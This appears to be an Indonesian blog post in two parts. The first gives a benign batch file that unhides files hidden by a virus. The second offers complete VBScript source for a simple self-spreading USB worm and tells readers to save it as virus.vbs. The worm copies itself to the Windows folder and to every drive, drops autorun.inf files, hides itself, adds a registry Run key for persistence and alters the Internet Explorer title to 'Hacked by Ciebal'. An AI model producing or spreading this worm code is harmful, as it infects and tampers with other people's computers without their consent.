Andromeda

KALo Komputer kamuh2 terinfeksi virus n ter-hidden gara2 virus tersebut...

da cara lain loch...buat benerin file yg terhidden virus....
mau tau (jeng...jeng..!!! )...

ok simak baek2 script nya...

ketikin script dibawah ini & simpen dengan nama AntiSuperHide.bat


echo off
echo "Anti super hidden"
echo "Program sedang berjalan"
echo "Silakan tunggu......"
attrib -s -h *.* /s /d
echo "Program selesia....."
exit P/ A/ Q



nah cara pakenya....
- tarus file tersebut di tempat (folder/driver) yg kamuh kira da file yg ke hidden
- double klik file tersebut
- tungguin beberapa saat n....
- JENG...JENG.... ajaib filenya KELIHATAN lagi....

demikian postingannya.....
Jangan lupa comment ya......

Sesuai dengan Judulnya, yaitu Sript virus sederhana..
Ini paling sederhana, Yang lo butuhin cuma NotePad aja kok..
Oke Sekarang Coba buka Notepadnya, dan masukin Script ini..
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"

set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Ciebal"
rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname
Simpan dengan nama .vbs contoh virus.vbs

Support by: http://www.ciebal.web.id/2009/01/membuat-virus-sederhana.html